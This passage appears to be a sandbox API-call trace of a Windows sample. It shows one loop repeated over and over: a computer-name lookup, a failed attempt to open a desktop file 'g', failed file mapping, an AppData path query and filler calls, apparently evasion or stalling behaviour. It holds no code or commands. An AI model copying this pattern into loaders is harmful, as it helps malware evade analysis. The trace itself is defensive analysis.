lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.172] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.172] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.172] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.173] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.173] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.173] CloseHandle (hObject=0x0) returned 0 [0189.173] CloseHandle (hObject=0xffffffff) returned 1 [0189.173] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.173] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.173] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.173] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.173] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.173] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.173] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.173] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.173] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.173] CloseHandle (hObject=0x0) returned 0 [0189.173] CloseHandle (hObject=0xffffffff) returned 1 [0189.173] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.173] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.173] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.173] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.173] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.173] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.173] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.173] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.174] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.174] CloseHandle (hObject=0x0) returned 0 [0189.174] CloseHandle (hObject=0xffffffff) returned 1 [0189.174] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.174] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.174] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.174] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.174] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.174] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.174] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.174] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.174] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.174] CloseHandle (hObject=0x0) returned 0 [0189.174] CloseHandle (hObject=0xffffffff) returned 1 [0189.174] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.174] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.174] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.174] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.174] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.174] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.174] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.174] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.174] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.174] CloseHandle (hObject=0x0) returned 0 [0189.175] CloseHandle (hObject=0xffffffff) returned 1 [0189.175] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.175] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.175] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.175] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.175] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.175] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.175] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.175] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.175] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.175] CloseHandle (hObject=0x0) returned 0 [0189.175] CloseHandle (hObject=0xffffffff) returned 1 [0189.175] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.175] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.175] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.175] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.175] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.175] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.175] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.175] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.175] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.175] CloseHandle (hObject=0x0) returned 0 [0189.175] CloseHandle (hObject=0xffffffff) returned 1 [0189.176] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.176] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.176] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.176] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.176] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.176] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.176] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.176] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.176] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.176] CloseHandle (hObject=0x0) returned 0 [0189.176] CloseHandle (hObject=0xffffffff) returned 1 [0189.176] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.176] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.176] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.176] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.176] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.176] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.176] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.176] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.176] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.176] CloseHandle (hObject=0x0) returned 0 [0189.177] CloseHandle (hObject=0xffffffff) returned 1 [0189.177] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.177] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.177] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.177] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.177] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.177] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.177] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.177] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.177] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.177] CloseHandle (hObject=0x0) returned 0 [0189.177] CloseHandle (hObject=0xffffffff) returned 1 [0189.177] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.177] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.177] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.177] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.177] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.177] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.187] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.187] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.187] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.187] CloseHandle (hObject=0x0) returned 0 [0189.187] CloseHandle (hObject=0xffffffff) returned 1 [0189.187] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.187] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.187] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.187] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.187] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.187] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.187] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.187] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.187] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.187] CloseHandle (hObject=0x0) returned 0 [0189.187] CloseHandle (hObject=0xffffffff) returned 1 [0189.187] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.188] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.188] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.188] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.188] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.188] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.188] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.188] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.188] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.188] CloseHandle (hObject=0x0) returned 0 [0189.188] CloseHandle (hObject=0xffffffff) returned 1 [0189.188] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.188] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.188] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.188] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.188] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.188] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.188] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.188] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.188] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.188] CloseHandle (hObject=0x0) returned 0 [0189.188] CloseHandle (hObject=0xffffffff) returned 1 [0189.188] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.189] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.189] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.189] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.189] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.189] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.189] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.189] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.189] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.189] CloseHandle (hObject=0x0) returned 0 [0189.189] CloseHandle (hObject=0xffffffff) returned 1 [0189.189] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.189] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.189] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.189] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.189] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.189] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.189] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.189] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.189] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.189] CloseHandle (hObject=0x0) returned 0 [0189.189] CloseHandle (hObject=0xffffffff) returned 1 [0189.189] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.190] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.190] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.190] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.190] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.190] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.190] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.190] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.190] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.190] CloseHandle (hObject=0x0) returned 0 [0189.190] CloseHandle (hObject=0xffffffff) returned 1 [0189.190] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.190] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.190] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.190] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.190] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 